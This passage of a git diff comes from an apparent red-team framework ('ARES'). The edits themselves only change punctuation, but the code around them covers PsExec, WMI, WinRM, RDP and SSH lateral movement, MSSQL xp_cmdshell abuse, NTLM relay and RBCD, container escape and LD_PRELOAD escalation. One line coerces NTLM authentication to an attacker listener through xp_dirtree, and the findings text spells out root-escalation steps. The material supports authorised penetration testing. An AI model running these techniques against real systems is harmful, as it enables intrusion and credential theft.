{target}"+ return False, "", f"Access denied - insufficient privileges on {target}"if "logon failure" in err or "invalid credentials" in err:return False, "", f"Authentication failed for {username}@{target}"return False, "", str(exc)[:300]diff --git a/ares/modules/lateral/modules.py b/ares/modules/lateral/modules.pyindex 14a3da9..688a55c 100644--- a/ares/modules/lateral/modules.py+++ b/ares/modules/lateral/modules.py@@ -3,11 +3,11 @@ ARES Lateral Movement FrameworkProduction-grade lateral movement modules.Available techniques:- PsExecLateral — SMB + RemComSvc / SCM (T1569.002)- WmiExecLateral — WMI command execution (T1047)- WinRMLateral — WinRM / PS-Remoting (T1021.006)- SSHPivot — SSH ProxyJump / port forward (T1021.004)- RDPLateral — RDP session hijack / new session (T1021.001)+ PsExecLateral - SMB + RemComSvc / SCM (T1569.002)+ WmiExecLateral - WMI command execution (T1047)+ WinRMLateral - WinRM / PS-Remoting (T1021.006)+ SSHPivot - SSH ProxyJump / port forward (T1021.004)+ RDPLateral - RDP session hijack / new session (T1021.001)All modules:- Validate scope before any connection@@ -101,7 +101,7 @@ class BaseLateralModule(BaseModule):Subclasses **must** implement this method. The default raises``NotImplementedError`` to surface unimplemented transports early."""- raise NotImplementedError( # abstract — subclasses must override+ raise NotImplementedError( # abstract - subclasses must overridef"{self.__class__.__name__} must implement move()")@@ -171,7 +171,7 @@ class BaseLateralModule(BaseModule):target = getattr(ctx, "target", "") or ctx.params.get("target", "")if not target:raise ModuleValidationError(- f"{self.MODULE_ID} requires 'target' — "+ f"{self.MODULE_ID} requires 'target' - ""provide the IP or hostname of the remote host.",module_id=self.MODULE_ID, field="target",)@@ -184,7 +184,7 @@ class BaseLateralModule(BaseModule):)if not (has_password or has_hash or has_vault):raise ModuleValidationError(- f"{self.MODULE_ID} requires credentials — "+ f"{self.MODULE_ID} requires credentials - ""pass 'password', 'nt_hash' (NTLM), or provide a vault credential.",module_id=self.MODULE_ID, field="password",)@@ -193,7 +193,7 @@ class BaseLateralModule(BaseModule):async def execute(self, ctx: "Any") -> "ModuleResult":"""ExecutionContext-based entry point (v0.9.0+).- Pulls target, credentials, and params from ctx — including vault reveal.+ Pulls target, credentials, and params from ctx - including vault reveal.Subclasses inherit this; override only if custom logic is needed."""from ares.modules.base import ModuleResult@@ -381,7 +381,7 @@ class PsExecLateral(BaseLateralModule):"""PsExec-style lateral movement via SMB + Service Control Manager.Creates a temporary service, executes command, removes service.- MITRE T1569.002 — Service Execution.+ MITRE T1569.002 - Service Execution."""MODULE_ID = "lateral.psexec"MODULE_NAME = "PsExec Lateral"@@ -414,7 +414,7 @@ class PsExecLateral(BaseLateralModule):target = sanitize_hostname(getattr(ctx, "target", "") or getattr(ctx, "params", {}).get("target", ""))noise = getattr(getattr(ctx, "campaign", None), "noise_profile", None)if noise == NoiseProfile.STEALTH:- blockers.append("PsExec SCM service installation generates Event ID 7045 — strictly blocked under STEALTH profile")+ blockers.append("PsExec SCM service installation generates Event ID 7045 - strictly blocked under STEALTH profile")score = 0.05risk = "critical_alarm"@@ -457,7 +457,7 @@ class PsExecLateral(BaseLateralModule):source_host="operator", target_host=target,username=username, domain=domain,success=False,- error="impacket not installed — run: pip install impacket",+ error="impacket not installed - run: pip install impacket",duration_ms=round((time.monotonic() - t0) * 1000, 2),)@@ -522,7 +522,7 @@ class PsExecLateral(BaseLateralModule):try:scmr.hRStartServiceW(dce, svc_handle)except Exception:- pass # service process exits immediately, may raise — that's OK+ pass # service process exits immediately, may raise - that's OK# Step 5: read output file via SMBimport time as _time@@ -548,7 +548,7 @@ class PsExecLateral(BaseLateralModule):except Exception as exc:err = str(exc).lower()if "access_denied" in err or "access denied" in err:- # Valid creds but no SCM access — try just verifying ADMIN$ access+ # Valid creds but no SCM access - try just verifying ADMIN$ accesstry:smb2 = SMBConnection(target, target, timeout=10)smb2.login(username, password, domain, lmhash, nthash)@@ -622,8 +622,8 @@ class PsExecLateral(BaseLateralModule):class WmiExecLateral(BaseLateralModule):"""WMI-based lateral movement via Win32_Process.Create.- Stealthier than PsExec — no service creation, less EDR detectable.- MITRE T1047 — Windows Management Instrumentation.+ Stealthier than PsExec - no service creation, less EDR detectable.+ MITRE T1047 - Windows Management Instrumentation."""MODULE_ID = "lateral.wmiexec"MODULE_AUTHOR = "ARES Team <[email protected]>"@@ -774,7 +774,7 @@ class WmiExecLateral(BaseLateralModule):except Exception as exc:err = str(exc).lower()if "access denied" in err or "access_denied" in err:- return False, "", f"Access denied — insufficient privileges on {target}"+ return False, "", f"Access denied - insufficient privileges on {target}"if "logon failure" in err or "invalid credentials" in err:return False, "", f"Authentication failed for {username}@{target}"return False, "", str(exc)[:300]@@ -833,7 +833,7 @@ class WinRMLateral(BaseLateralModule):"""WinRM / PowerShell Remoting lateral movement.Uses port 5985 (HTTP) or 5986 (HTTPS).- MITRE T1021.006 — Remote Services: Windows Remote Management.+ MITRE T1021.006 - Remote Services: Windows Remote Management."""MODULE_ID = "lateral.winrm"MODULE_AUTHOR = "ARES Team <[email protected]>"@@ -928,7 +928,7 @@ class WinRMLateral(BaseLateralModule):technique=LateralTechnique.WINRM,source_host="operator", target_host=target,username=username, domain=domain, success=False,- error="pywinrm not installed — run: pip install pywinrm",+ error="pywinrm not installed - run: pip install pywinrm",duration_ms=round((time.monotonic() - t0) * 1000, 2),)except Exception as exc:@@ -959,7 +959,7 @@ class SSHPivot(BaseLateralModule):- Direct command execution (T1021.004)- Dynamic SOCKS5 proxy via SSH -D- Port forwarding via SSH -L / -R- MITRE T1021.004 — Remote Services: SSH.+ MITRE T1021.004 - Remote Services: SSH."""MODULE_ID = "lateral.ssh_pivot"MODULE_AUTHOR = "ARES Team <[email protected]>"@@ -986,13 +986,13 @@ class SSHPivot(BaseLateralModule):known_hosts_file = kwargs.get("known_hosts_file") or Noneclient = paramiko.SSHClient()if known_hosts_file:- # Strict host-key verification — recommended for production use.+ # Strict host-key verification - recommended for production use.client.set_missing_host_key_policy(paramiko.RejectPolicy())client.load_host_keys(known_hosts_file)logger.info("ssh_host_key_verification_enabled",target=target, known_hosts=known_hosts_file)else:- # AutoAddPolicy — operator explicitly accepted MITM risk by not+ # AutoAddPolicy - operator explicitly accepted MITM risk by not# supplying known_hosts_file. Acceptable when pivoting through# already-compromised internal hosts on an isolated lab network.# NEVER use on untrusted networks (hotel wifi, shared VPN, etc.).@@ -1001,7 +1001,7 @@ class SSHPivot(BaseLateralModule):"ssh_host_key_unverified",target=target,risk=(- "Host key not verified — MITM possible on untrusted networks. "+ "Host key not verified - MITM possible on untrusted networks. ""Provide known_hosts_file=<path> to enable strict verification."),)@@ -1076,7 +1076,7 @@ class SSHPivot(BaseLateralModule):username=username,domain=domain,success=False,- error="paramiko not installed — run: pip install paramiko",+ error="paramiko not installed - run: pip install paramiko",duration_ms=round((time.monotonic() - t0) * 1000, 2),)except Exception as exc:@@ -1131,13 +1131,13 @@ class SSHPivot(BaseLateralModule):class RDPLateral(BaseLateralModule):"""RDP-based lateral movement.- MITRE T1021.001 — Remote Desktop Protocol.- Note: High noise — triggers RDP EventID 4624/4625.+ MITRE T1021.001 - Remote Desktop Protocol.+ Note: High noise - triggers RDP EventID 4624/4625."""MODULE_ID = "lateral.rdp"MODULE_AUTHOR = "ARES Team <[email protected]>"MODULE_NAME = "RDP Lateral"- MODULE_DESCRIPTION = "RDP lateral movement (T1021.001) — high noise"+ MODULE_DESCRIPTION = "RDP lateral movement (T1021.001) - high noise"OPSEC_LEVEL = OpsecLevel.HIGH_NOISEREQUIRES = ["rdp_access", "domain_creds"]OUTPUTS = ["lateral_session"]@@ -1179,7 +1179,7 @@ class RDPLateral(BaseLateralModule):)async def validate(self, ctx: "Any") -> None:- """RDP lateral blocked in STEALTH — triggers EventID 4624/4625 immediately."""+ """RDP lateral blocked in STEALTH - triggers EventID 4624/4625 immediately."""await super().validate(ctx)from ares.core.context import ExecutionContextfrom ares.core.errors import ModuleValidationError@@ -1189,7 +1189,7 @@ class RDPLateral(BaseLateralModule):noise = getattr(getattr(ctx, "campaign", None), "noise_profile", None)if noise == NoiseProfile.STEALTH:raise ModuleValidationError(- "lateral.rdp is blocked in STEALTH profile — "+ "lateral.rdp is blocked in STEALTH profile - ""RDP authentication generates EventID 4624/4625 immediately. ""Use NORMAL or AGGRESSIVE profile.",module_id=self.MODULE_ID, field="noise_profile",@@ -1230,7 +1230,7 @@ class RDPLateral(BaseLateralModule):sock.close()return False, "", f"Port {port} closed (errno {result})"- # Read RDP cookie/banner — RDP sends x.224 Connection Request+ # Read RDP cookie/banner - RDP sends x.224 Connection Request# Just confirm the port is open and respondingtry:# Send minimal RDP preamble and check response@@ -1250,7 +1250,7 @@ class RDPLateral(BaseLateralModule):return False, "", "Unexpected banner response"except (OSError, socket.timeout):sock.close()- # Port open but no valid response — still likely RDP+ # Port open but no valid response - still likely RDPreturn True, "rdp_port_open", ""except (OSError, socket.timeout) as exc:@@ -1291,5 +1291,5 @@ class RDPLateral(BaseLateralModule):duration_ms=round((time.monotonic() - t0) * 1000, 2),)-# Backward-compat alias — canonical name is WmiExecLateral+# Backward-compat alias - canonical name is WmiExecLateralWMIExecLateral = WmiExecLateral # noqa: N816diff --git a/ares/modules/lateral/mssql.py b/ares/modules/lateral/mssql.pyindex 96c8885..79c61b8 100644--- a/ares/modules/lateral/mssql.py+++ b/ares/modules/lateral/mssql.py@@ -1,17 +1,17 @@"""-MSSQL Lateral Movement — lateral.mssql-MITRE: T1505.001 — SQL Stored Procedures (xp_cmdshell)+MSSQL Lateral Movement - lateral.mssql+MITRE: T1505.001 - SQL Stored Procedures (xp_cmdshell)Lateral movement via Microsoft SQL Server exploitation:- 1. xp_cmdshell — enable via sp_configure and execute OS commands as SQL service account- 2. Linked server hop — lateral movement through SQL server trust relationships- 3. EXECUTE AS LOGIN — impersonate SA or privileged login- 4. UNC path injection — coerce NTLM auth to attacker listener via xp_dirtree/bulk insert+ 1. xp_cmdshell - enable via sp_configure and execute OS commands as SQL service account+ 2. Linked server hop - lateral movement through SQL server trust relationships+ 3. EXECUTE AS LOGIN - impersonate SA or privileged login+ 4. UNC path injection - coerce NTLM auth to attacker listener via xp_dirtree/bulk insertPrerequisites: SQL credentials (SA or db_owner). Port 1433 accessible.KnowledgeBase entry kb-mssql already exists.-OPSEC: MEDIUM — SQL queries appear legitimate in server logs.+OPSEC: MEDIUM - SQL queries appear legitimate in server logs.xp_cmdshell re-enable is logged by SQL Audit if enabled."""from __future__ import annotations@@ -48,7 +48,7 @@ logger = get_logger("ares.modules.lateral.mssql"))class MSSQLModule(BaseModule):"""- lateral.mssql — MSSQL lateral movement via xp_cmdshell, linked servers, EXECUTE AS LOGIN, and UNC path NTLM coer+ lateral.mssql - MSSQL lateral movement via xp_cmdshell, linked servers, EXECUTE AS LOGIN, and UNC path NTLM coerOPSEC: MEDIUMMITRE: "T1505.001"@@ -77,13 +77,13 @@ class MSSQLModule(BaseModule):target = getattr(ctx, "target", "") or ctx.params.get("target", "")if not target:raise ModuleValidationError(- "lateral.mssql requires 'target' — IP or hostname of MSSQL server.",+ "lateral.mssql requires 'target' - IP or hostname of MSSQL server.",module_id=self.MODULE_ID, field="target",)username = ctx.params.get("username", "") or ctx.params.get("sql_user", "")if not username:raise ModuleValidationError(- "lateral.mssql requires SQL credentials — pass 'username' and 'password'. "+ "lateral.mssql requires SQL credentials - pass 'username' and 'password'. ""Use 'sa' or a db_owner account for xp_cmdshell.",module_id=self.MODULE_ID, field="username",)@@ -357,7 +357,7 @@ class MSSQLModule(BaseModule):def _enum_server_sync(self, target: str, username: str, password: str,port: int) -> dict:- """Connect to MSSQL and enumerate server info. Sync — runs in executor."""+ """Connect to MSSQL and enumerate server info. Sync - runs in executor."""try:import impacket.tds as tds # type: ignore[import]@@ -399,7 +399,7 @@ class MSSQLModule(BaseModule):return infoexcept ImportError:- # impacket TDS not available — try pymssql fallback+ # impacket TDS not available - try pymssql fallbackreturn self._enum_pymssql(target, username, password, port)except Exception as exc:raise # propagate to async wrapper for _classify_error@@ -425,7 +425,7 @@ class MSSQLModule(BaseModule):conn.close()return infoexcept ImportError:- return {"error": "No MSSQL driver available — pip install pymssql"}+ return {"error": "No MSSQL driver available - pip install pymssql"}except Exception as exc:raise # propagate to async wrapper for _classify_error@@ -493,7 +493,7 @@ class MSSQLModule(BaseModule):try:cur.execute(f"EXEC xp_dirtree '\\\\{listener_ip}\\share'")except Exception:- pass # expected — NTLM sent before this fails+ pass # expected - NTLM sent before this failsconn.close()return Trueexcept Exception as exc:diff --git a/ares/modules/lateral/ntlm_relay.py b/ares/modules/lateral/ntlm_relay.pyindex f7772a9..51cb325 100644--- a/ares/modules/lateral/ntlm_relay.py+++ b/ares/modules/lateral/ntlm_relay.py@@ -1,5 +1,5 @@"""-lateral.ntlm_relay — NTLM Relay Attack Automation+lateral.ntlm_relay - NTLM Relay Attack AutomationMITRE: T1557.001 (LLMNR/NBT-NS Poisoning and SMB Relay)Full relay attack chain:@@ -13,7 +13,7 @@ Requires: domain creds (for LDAP operations), network access to target DCs.This module orchestrates the full chain. Individual steps can also becalled independently for manual operation.-OPSEC: HIGH — coercion triggers Event ID 5145, relay triggers LDAP writes.+OPSEC: HIGH - coercion triggers Event ID 5145, relay triggers LDAP writes.Use only in NORMAL or AGGRESSIVE noise profiles.Dependencies: impacket (LDAP, Kerberos, SMB), ldap3 (LDAP signing check)@@ -92,7 +92,7 @@ class RBCDResult:)class NTLMRelayModule(BaseModule):"""- lateral.ntlm_relay — Full NTLM relay attack automation+ lateral.ntlm_relay - Full NTLM relay attack automationChain: discover_targets → coerce_auth → relay_to_ldap → rbcd_attack@@ -137,7 +137,7 @@ class NTLMRelayModule(BaseModule):noise = getattr(getattr(ctx, "campaign", None), "noise_profile", None)if noise == NoiseProfile.STEALTH:raise ModuleValidationError(- "lateral.ntlm_relay is blocked in STEALTH profile — "+ "lateral.ntlm_relay is blocked in STEALTH profile - ""coercion and LDAP writes are HIGH_NOISE operations.",module_id=self.MODULE_ID, field="noise_profile",)@@ -244,9 +244,9 @@ class NTLMRelayModule(BaseModule):Run the NTLM relay attack chain.Modes:- "discover" — only discover relay targets (safe, no writes)- "coerce" — discover + attempt coercion (triggers auth)- "full" — discover + coerce + relay + RBCD (full attack)+ "discover" - only discover relay targets (safe, no writes)+ "coerce" - discover + attempt coercion (triggers auth)+ "full" - discover + coerce + relay + RBCD (full attack)"""dc = sanitize_hostname(dc)await self.before_request(dc, "ldap")@@ -279,7 +279,7 @@ class NTLMRelayModule(BaseModule):severity=Severity.INFO,mitre_technique="T1557.001", mitre_tactic="Credential Access",evidence=raw["relay_targets"], host=dc, confidence=0.95,- remediation="Good — signing enforcement prevents relay attacks.",+ remediation="Good - signing enforcement prevents relay attacks.",)return self._findings[:], raw@@ -709,7 +709,7 @@ class NTLMRelayModule(BaseModule):desc = conn.result.get("description", "")if "unwillingToPerform" in str(desc):result.error = (- "ms-DS-MachineAccountQuota is 0 — cannot create machine account. "+ "ms-DS-MachineAccountQuota is 0 - cannot create machine account. ""This is a hardened configuration.")else:diff --git a/ares/modules/lateral/smb_relay.py b/ares/modules/lateral/smb_relay.pyindex 68a7f63..f7b99ef 100644--- a/ares/modules/lateral/smb_relay.py+++ b/ares/modules/lateral/smb_relay.py@@ -8,7 +8,7 @@ to NTLM relay attacks (NTLM authentication captured from one hostcan be relayed to authenticate against this host without knowing the password).This module is DETECTION ONLY.-It checks the SMB dialect negotiation response to read the signing flags —+It checks the SMB dialect negotiation response to read the signing flags -exactly what tools like nmap (smb-security-mode script) andNessus (plugin 57608) do during a security assessment.@@ -25,7 +25,7 @@ Also optionally checks LDAP signing (ldap_signing param=True):- Queries LDAP rootDSE serverName attribute- Reports if LDAP signing is not enforced (prerequisite for LDAP relay)-OPSEC: LOW — one TCP connection to port 445, reads negotiate response,+OPSEC: LOW - one TCP connection to port 445, reads negotiate response,immediately disconnects. No authentication attempted."""from __future__ import annotations@@ -53,7 +53,7 @@ from ares.sdk import (logger = get_logger("ares.modules.lateral.smb_relay")-# SMB2 NEGOTIATE request — minimal valid packet to elicit a response+# SMB2 NEGOTIATE request - minimal valid packet to elicit a response# Header: Protocol ID + StructureSize + CreditCharge + Status + Command=0 (NEGOTIATE)# Body: StructureSize + DialectCount=3 + SecurityMode=0 + Reserved + Capabilities# ClientGuid + NegotiateContextOffset + NegotiateContextCount@@ -127,7 +127,7 @@ async def _check_smb_signing(target: str, port: int = 445, timeout: float = 8.0)writer.write(_SMB2_NEGOTIATE)await writer.drain()- # Read response — SMB2 response is at least 68 bytes (4 NetBIOS + 64 SMB2 header)+ # Read response - SMB2 response is at least 68 bytes (4 NetBIOS + 64 SMB2 header)data = await asyncio.wait_for(reader.read(256), timeout=timeout)writer.close()try:@@ -189,7 +189,7 @@ class SMBRelayAuditModule(BaseModule):MODULE_NAME = "SMB Signing Audit (Relay Prerequisite)"MODULE_CATEGORY = "lateral"MODULE_DESCRIPTION = (- "Check whether SMB signing is required on target hosts — "+ "Check whether SMB signing is required on target hosts - ""signing not required = potential NTLM relay attack surface")MODULE_AUTHOR = "ARES Team <[email protected]>"@@ -209,7 +209,7 @@ class SMBRelayAuditModule(BaseModule):target = getattr(ctx, "target", "") or ctx.params.get("target", "")if not target:raise ModuleValidationError(- "lateral.smb_relay requires 'target' — IP or subnet to audit.",+ "lateral.smb_relay requires 'target' - IP or subnet to audit.",module_id=self.MODULE_ID, field="target",)@@ -370,7 +370,7 @@ class SMBRelayAuditModule(BaseModule):if relay_candidates:self.finding(title=(- f"SMB Signing Not Required — "+ f"SMB Signing Not Required - "f"{len(relay_candidates)} Host(s) Vulnerable to NTLM Relay"),description=(@@ -420,7 +420,7 @@ class SMBRelayAuditModule(BaseModule):description=(f"{len(signing_disabled)} host(s) have SMB signing disabled entirely "f"(SecurityMode=0x0000): {', '.join(signing_disabled[:10])}. "- "This is more severe than 'not required' — no signing capability "+ "This is more severe than 'not required' - no signing capability ""is advertised at all, making these hosts easy relay targets ""and indicating a non-default (weakened) SMB configuration."),@@ -431,7 +431,7 @@ class SMBRelayAuditModule(BaseModule):"signing_disabled_hosts": signing_disabled,},remediation=(- "Investigate why signing was disabled on these hosts — "+ "Investigate why signing was disabled on these hosts - ""this is a non-default configuration and may indicate intentional ""weakening or a misconfigured NAS/appliance. ""Re-enable signing as described above."@@ -445,7 +445,7 @@ class SMBRelayAuditModule(BaseModule):for target in targets:try:await self.before_request(target, "ldap")- # Query rootDSE — if LDAP returns without requiring signing, it's unsigned+ # Query rootDSE - if LDAP returns without requiring signing, it's unsignedloop = asyncio.get_running_loop()def _check_ldap(host: str) -> bool:@@ -479,7 +479,7 @@ class SMBRelayAuditModule(BaseModule):if ldap_unsigned:self.finding(title=(- f"LDAP Signing Not Enforced — "+ f"LDAP Signing Not Enforced - "f"{len(ldap_unsigned)} Host(s)"),description=(@@ -509,5 +509,5 @@ class SMBRelayAuditModule(BaseModule):"signing_disabled": signing_disabled,"per_host_results": results,}- raw["smb_signing_config"] = {k: v for k, v in raw.items()} # OUTPUTS key — shallow copy to avoid circular ref+ raw["smb_signing_config"] = {k: v for k, v in raw.items()} # OUTPUTS key - shallow copy to avoid circular refreturn self._findings[:], rawdiff --git a/ares/modules/linux/__init__.py b/ares/modules/linux/__init__.pyindex cf2978f..7f527e2 100644--- a/ares/modules/linux/__init__.py+++ b/ares/modules/linux/__init__.py@@ -1,5 +1,5 @@"""-ARES — modules.linux+ARES - modules.linuxLinux privilege escalation and container escape modulesNote: Primary module discovery uses PluginLoader (inspect.getmembers).diff --git a/ares/modules/linux/container.py b/ares/modules/linux/container.pyindex 07fcf2a..beb802f 100644--- a/ares/modules/linux/container.py+++ b/ares/modules/linux/container.py@@ -40,7 +40,7 @@ from ares.sdk import ()class ContainerEscapeModule(BaseModule[ContainerEscapeParams, ModuleResult]):"""- linux.container — Docker socket abuse, privileged escape, K8s RBAC misconfigs+ linux.container - Docker socket abuse, privileged escape, K8s RBAC misconfigsOPSEC: MEDIUMMITRE: "T1611", "T1552.007", "T1613"@@ -66,7 +66,7 @@ class ContainerEscapeModule(BaseModule[ContainerEscapeParams, ModuleResult]):target = ctx.params.get("target") or ctx.params.get("host", "")if not target:raise ModuleValidationError(- "linux.container requires 'target' — IP or hostname of container host.",+ "linux.container requires 'target' - IP or hostname of container host.",module_id=self.MODULE_ID, field="target",)if isinstance(ctx.params, dict):@@ -174,7 +174,7 @@ class ContainerEscapeModule(BaseModule[ContainerEscapeParams, ModuleResult]):@trace_module("linux.container")async def run(self, **kwargs: Any) -> tuple[list[Finding], dict[str, Any]]:- # Note: before_request() intentionally not called — this module runs+ # Note: before_request() intentionally not called - this module runs# entirely locally inside the container (no remote network calls to a target host).# Scope/jitter checks apply to remote targets, not local filesystem/socket reads.raw: dict[str, Any] = {@@ -214,7 +214,7 @@ class ContainerEscapeModule(BaseModule[ContainerEscapeParams, ModuleResult]):elif exists:self.finding(title="Docker Socket Mounted (Read-Only)",- description="Docker socket mounted but not writable — limited exploitation.",+ description="Docker socket mounted but not writable - limited exploitation.",severity=Severity.MEDIUM,mitre_technique="T1611",mitre_tactic="Privilege Escalation",@@ -249,7 +249,7 @@ class ContainerEscapeModule(BaseModule[ContainerEscapeParams, ModuleResult]):evidence={"CapEff": cap_eff},remediation=("Remove --privileged. Use specific --cap-add for required capabilities. "- "Principle of least privilege — no container should be privileged in prod."+ "Principle of least privilege - no container should be privileged in prod."),)return {"privileged": privileged, "CapEff": cap_eff}@@ -295,7 +295,7 @@ class ContainerEscapeModule(BaseModule[ContainerEscapeParams, ModuleResult]):try:with open(token_path) as f:token = f.read().strip()- logger.info("[container] K8s service account token found — checking RBAC")+ logger.info("[container] K8s service account token found - checking RBAC")# Production:# from kubernetes import client, config@@ -328,7 +328,7 @@ class ContainerEscapeModule(BaseModule[ContainerEscapeParams, ModuleResult]):try:with open("/proc/net/tcp") as f:lines = f.readlines()- # If we see ports like 22, 80, 443 listening — likely host network+ # If we see ports like 22, 80, 443 listening - likely host networkhost_network = len(lines) > 50 # Heuristic: many open ports = host netif host_network:self.finding(diff --git a/ares/modules/linux/kernel_suggester.py b/ares/modules/linux/kernel_suggester.pyindex 66eb64a..8184868 100644--- a/ares/modules/linux/kernel_suggester.py+++ b/ares/modules/linux/kernel_suggester.py@@ -3,7 +3,7 @@ Linux Kernel Exploit SuggesterMITRE: T1068 (Exploitation for Privilege Escalation)Reads kernel version from target and maps it to known local privilege-escalation CVEs. Does NOT exploit — detection and suggestion only.+escalation CVEs. Does NOT exploit - detection and suggestion only.Operator must obtain and compile the PoC separately."""from __future__ import annotations@@ -29,12 +29,12 @@ from ares.sdk import (logger = get_logger("ares.modules.linux.kernel_suggester")# kernel_version_regex → (CVE, description, severity, affected_range)-# Ranges are illustrative — real check via uname -r parsing+# Ranges are illustrative - real check via uname -r parsing_KERNEL_CVES: list[tuple[str, str, str, str, str]] = [(r"[345]\.[0-9]+", "CVE-2021-4034", "Polkit pkexec LPE (PwnKit)", "CRITICAL", "< 0.120-3"),(r"[345]\.[0-9]+", "CVE-2021-3156", "Sudo heap-overflow LPE (Baron Samedit)", "CRITICAL", "< 1.9.5p2"),- (r"5\.[0-9]+\.[0-9]+", "CVE-2022-0847", "Dirty Pipe — arbitrary write via pipe", "HIGH", "5.8–5.16.11"),- (r"[34]\.[0-9]+\.[0-9]+","CVE-2016-5195", "Dirty COW — race condition write", "HIGH", "< 4.8.3"),+ (r"5\.[0-9]+\.[0-9]+", "CVE-2022-0847", "Dirty Pipe - arbitrary write via pipe", "HIGH", "5.8–5.16.11"),+ (r"[34]\.[0-9]+\.[0-9]+","CVE-2016-5195", "Dirty COW - race condition write", "HIGH", "< 4.8.3"),(r"5\.[0-9]+\.[0-9]+", "CVE-2021-33909", "seq_file LPE (size_t-to-int overflow)", "HIGH", "< 5.13.4"),(r"[345]\.[0-9]+", "CVE-2019-13272", "ptrace PTRACE_TRACEME LPE", "HIGH", "< 5.1.17"),(r"[345]\.[0-9]+", "CVE-2017-16995", "eBPF verifier integer overflow LPE", "HIGH", "3.18–4.14"),@@ -52,7 +52,7 @@ _KERNEL_CVES: list[tuple[str, str, str, str, str]] = [)class KernelSuggesterModule(BaseModule[KernelSuggesterParams, ModuleResult]):"""- linux.kernel_suggester — Read kernel version via SSH and map to known LPE CVEs — detection and suggestion only, no exploitation+ linux.kernel_suggester - Read kernel version via SSH and map to known LPE CVEs - detection and suggestion only, no exploitationOPSEC: LOWMITRE: "T1068", "T1082"@@ -63,7 +63,7 @@ class KernelSuggesterModule(BaseModule[KernelSuggesterParams, ModuleResult]):MODULE_NAME = "Linux Kernel Exploit Suggester"MODULE_CATEGORY = "linux"MODULE_DESCRIPTION = (- "Read kernel version via SSH and map to known LPE CVEs — "+ "Read kernel version via SSH and map to known LPE CVEs - ""detection and suggestion only, no exploitation")MODULE_AUTHOR = "ARES Team <[email protected]>"@@ -82,7 +82,7 @@ class KernelSuggesterModule(BaseModule[KernelSuggesterParams, ModuleResult]):target = ctx.params.get("target") or ctx.params.get("host", "")if not target:raise ModuleValidationError(- f"{self.MODULE_ID} requires 'target' — IP or hostname.",+ f"{self.MODULE_ID} requires 'target' - IP or hostname.",module_id=self.MODULE_ID, field="target",)ssh_user = None@@ -281,7 +281,7 @@ class KernelSuggesterModule(BaseModule[KernelSuggesterParams, ModuleResult]):sev = {"CRITICAL": Severity.CRITICAL, "HIGH": Severity.HIGH,"MEDIUM": Severity.MEDIUM}.get(severity_str, Severity.INFO)self.finding(- title=f"Potential Kernel LPE: {cve} — {description}",+ title=f"Potential Kernel LPE: {cve} - {description}",description=(f"Kernel {kernel_ver} on {target} may be vulnerable to {cve} "f"({description}). Affected range: {affected}. "diff --git a/ares/modules/linux/ld_preload.py b/ares/modules/linux/ld_preload.pyindex afecdfd..bbe85c3 100644--- a/ares/modules/linux/ld_preload.py+++ b/ares/modules/linux/ld_preload.py@@ -4,18 +4,18 @@ MITRE: T1574.006 (Dynamic Linker Hijacking)Detects conditions that allow library hijacking via:1. LD_PRELOAD allowed in sudoers (env_keep += LD_PRELOAD)- — run arbitrary code as sudo target user via preloaded .so+ - run arbitrary code as sudo target user via preloaded .so2. RPATH pointing to writable directories in SUID/sudo binaries- — attacker-controlled .so loaded before system libraries+ - attacker-controlled .so loaded before system libraries3. Writable directories in /etc/ld.so.conf or ld.so.conf.d/- — affects all dynamically linked binaries run by any user+ - affects all dynamically linked binaries run by any user4. Writable /etc/ld.so.preload- — forces preload of attacker .so for every dynamic binary+ - forces preload of attacker .so for every dynamic binary-Detection only — no .so files are created or injected.+Detection only - no .so files are created or injected.All checks run via SSH or local shell, read-only commands.-OPSEC: LOW — reads config files and runs readelf/ldd on existing binaries.+OPSEC: LOW - reads config files and runs readelf/ldd on existing binaries."""from __future__ import annotations@@ -74,7 +74,7 @@ _CMD_SUID_BINS = ()class LDPreloadModule(BaseModule[LDPreloadParams, ModuleResult]):"""- linux.ld_preload — Detect LD_PRELOAD in sudoers, writable RPATH in SUID binaries, and writable ld.so config paths —+ linux.ld_preload - Detect LD_PRELOAD in sudoers, writable RPATH in SUID binaries, and writable ld.so config paths -OPSEC: LOWMITRE: "T1574.006", "T1082"@@ -85,7 +85,7 @@ class LDPreloadModule(BaseModule[LDPreloadParams, ModuleResult]):MODULE_CATEGORY = "linux"MODULE_DESCRIPTION = ("Detect LD_PRELOAD in sudoers, writable RPATH in SUID binaries, "- "and writable ld.so config paths — library hijack escalation vectors"+ "and writable ld.so config paths - library hijack escalation vectors")MODULE_AUTHOR = "ARES Team <[email protected]>"OPSEC_LEVEL = OpsecLevel.LOW@@ -102,7 +102,7 @@ class LDPreloadModule(BaseModule[LDPreloadParams, ModuleResult]):target = ctx.params.get("target") or ctx.params.get("host", "")if not target:raise ModuleValidationError(- f"{self.MODULE_ID} requires 'target' — IP or hostname.",+ f"{self.MODULE_ID} requires 'target' - IP or hostname.",module_id=self.MODULE_ID, field="target",)ssh_user = None@@ -294,7 +294,7 @@ class LDPreloadModule(BaseModule[LDPreloadParams, ModuleResult]):"environment variable (env_keep += LD_PRELOAD). ""An attacker can compile a malicious shared library, set ""LD_PRELOAD to point to it, and run any command allowed by "- "sudo — causing the library to execute as the sudo target user "+ "sudo - causing the library to execute as the sudo target user ""(often root) before the actual command runs."),severity=Severity.CRITICAL,@@ -306,7 +306,7 @@ class LDPreloadModule(BaseModule[LDPreloadParams, ModuleResult]):"exploitation": ("1. Compile: gcc -shared -fPIC -o /tmp/evil.so evil.c. ""2. Set: export LD_PRELOAD=/tmp/evil.so. "- "3. Run any allowed sudo command — evil.so executes as root."+ "3. Run any allowed sudo command - evil.so executes as root."),},remediation=(@@ -320,7 +320,7 @@ class LDPreloadModule(BaseModule[LDPreloadParams, ModuleResult]):# ── Check 2: Writable /etc/ld.so.preload ──────────────────────────if preload_file_out:- # File exists — check if writable by current user+ # File exists - check if writable by current userwritable_preload = await run_cmd("[ -w /etc/ld.so.preload ] && echo writable || echo readonly") if not isinstance(preload_file_out, Exception) else ""@@ -467,7 +467,7 @@ class LDPreloadModule(BaseModule[LDPreloadParams, ModuleResult]):"1. Run ldd <suid_binary> to find loaded libraries. ""2. Compile a fake version of one library as a shared object. ""3. Place it in the writable RPATH dir with the exact library name. "- "4. Execute the SUID binary — your .so runs as root."+ "4. Execute the SUID binary - your .so runs as root."),},remediation=(@@ -490,7 +490,7 @@ class LDPreloadModule(BaseModule[LDPreloadParams, ModuleResult]):raw["privesc_vectors"] = self._findings # OUTPUTS keyreturn self._findings[:], raw- # ── SSH / local runner helpers — identical pattern to linux.privesc ────+ # ── SSH / local runner helpers - identical pattern to linux.privesc ────async def _make_ssh_runner(self,@@ -504,7 +504,7 @@ class 